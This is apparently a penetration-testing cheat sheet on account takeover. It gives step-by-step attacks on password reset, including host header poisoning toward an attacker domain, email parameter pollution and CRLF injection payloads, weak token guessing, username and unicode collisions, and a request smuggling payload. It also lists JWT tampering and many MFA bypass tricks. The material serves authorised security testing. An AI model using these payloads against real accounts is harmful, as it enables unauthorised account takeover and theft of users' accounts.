Account Takeover

Account Takeover (ATO) is a significant threat in the cybersecurity landscape, involving unauthorized access to users' accounts through various attack vectors.

1. Request password reset to your email address
2. Click on the password reset link
3. Don't change password
4. Click any 3rd party websites(e.g., Facebook, twitter)
5. Intercept the request in Burp Suite proxy
6. Check if the referer header is leaking password reset token.

1. Intercept the password reset request in Burp Suite

2. Add or edit the following headers in Burp Suite : Host: [ATTACKER.DOMAIN.TLD], X-Forwarded-Host: [ATTACKER.DOMAIN.TLD]

3. Forward the request with the modified header

   POST https://example.com/reset.php HTTP/1.1
   Accept: */*
   Content-Type: application/json
   Host: [ATTACKER.DOMAIN.TLD]
   

4. Look for a password reset URL based on the host header like : https://[ATTACKER.DOMAIN.TLD]/reset-password.php?token=TOKEN

# parameter pollution
[email protected]&[email protected]

# array of emails
{"email":["[email protected]","[email protected]"]}

# carbon copy
[email protected]%0A%0Dcc:[email protected]
[email protected]%0A%0Dbcc:[email protected]

# separator
[email protected],[email protected]
[email protected]%[email protected]
[email protected]|[email protected]

1. Attacker have to login with their account and go to the Change password feature.

2. Start the Burp Suite and Intercept the request

3. Send it to the repeater tab and edit the parameters : User ID/email

   POST /api/changepass
   [...]
   ("form": {"email":"[email protected]","password":"securepwd"})
   

The password reset token should be randomly generated and unique every time. Try to determine if the token expire or if it's always the same, in some cases the generation algorithm is weak and can be guessed. The following variables might be used by the algorithm.

• Timestamp
• UserID
• Email of User
• Firstname and Lastname
• Date of Birth
• Cryptography
• Number only
• Small token sequence (<6 characters between [A-Z,a-z,0-9])
• Token reuse
• Token expiration date

1. Trigger a password reset request using the API/UI for a specific email e.g: [email protected]
2. Inspect the server response and check for resetToken
3. Then use the token in an URL like https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]

1. Register on the system with a username identical to the victim's username, but with white spaces inserted before and/or after the username. e.g: "admin "
2. Request a password reset with your malicious username.
3. Use the token sent to your email and reset the victim password.
4. Connect to the victim account with the new password.

The platform CTFd was vulnerable to this attack. See: CVE-2020-7245

When processing user input involving unicode for case mapping or normalisation, unexpected behavior can occur.

• Victim account: [email protected]
• Attacker account: demⓞ@gmail.com

Unisub - is a tool that can suggest potential unicode characters that may be converted to a given character.

Unicode pentester cheatsheet can be used to find list of suitable unicode characters based on platform.

1. Find an XSS inside the application or a subdomain if the cookies are scoped to the parent domain : *.domain.com
2. Leak the current sessions cookie
3. Authenticate as the user using the cookie

Refer to HTTP Request Smuggling vulnerability page.

1. Use smuggler to detect the type of HTTP Request Smuggling (CL, TE, CL.TE)

   git clone https://github.com/defparam/smuggler.git
   cd smuggler
   python3 smuggler.py -h
   

2. Craft a request which will overwrite the POST / HTTP/1.1 with the following data:

   GET http://[ATTACKER.DOMAIN.TLD]  HTTP/1.1
   X: 
   

3. Final request could look like the following

   GET /  HTTP/1.1
   Transfer-Encoding: chunked
   Host: something.com
   User-Agent: Smuggler/v1.0
   Content-Length: 83
   
   0
   
   GET http://[ATTACKER.DOMAIN.TLD]  HTTP/1.1
   X: X
   

Hackerone reports exploiting this bug

• https://hackerone.com/reports/737140
• https://hackerone.com/reports/771666

1. Create a payload for the CSRF, e.g: "HTML form with auto submit for a password change"
2. Send the payload

JSON Web Token might be used to authenticate a user.

• Edit the JWT with another User ID / Email
• Check for weak JWT signature

Multi-Factor Authentication (MFA) is a security measure that requires users to provide two or more verification factors to gain access to a system, application, or network. It combines something the user knows (like a password), something they have (like a phone or security token), and/or something they are (biometric verification). This layered approach enhances security by making unauthorized access more difficult, even if a password is compromised. MFA Bypasses are techniques attackers use to circumvent MFA protections. These methods can include exploiting weaknesses in MFA implementations, intercepting authentication tokens, leveraging social engineering to manipulate users or support staff, or exploiting session-based vulnerabilities.

If response is "success":false Change it to "success":true

If Status Code is 4xx Try changing it to 200 OK and see if it bypass restrictions

Check the response of the 2FA Code Triggering Request for leaked code.

Rare but some JS Files may contain info about the 2FA Code, worth giving a shot

Possible to brute-force any length 2FA Code

Code for any user account can be used to bypass the 2FA

No CSRF Protection on disabling 2FA, also there is no auth confirmation

2FA gets disabled on password change/email change

Bypassing 2FA by abusing the Backup code feature Use the above-mentioned techniques to bypass the Backup Code to remove/reset 2FA restrictions

Iframing the 2FA Disabling page and social engineering victim to disable the 2FA

If the session is already hijacked and there is a session timeout vulnerability

If the application redirects to /my-account url upon login while 2FA is disabled, try replacing /2fa/verify with /my-account while 2FA is enabled to bypass verification.

Enter the code 000000 or null to bypass 2FA protection.

{
    "otp":[
        "1234",
        "1111",
        "1337", // GOOD OTP
        "2222",
        "3333",
        "4444",
        "5555"
    ]
}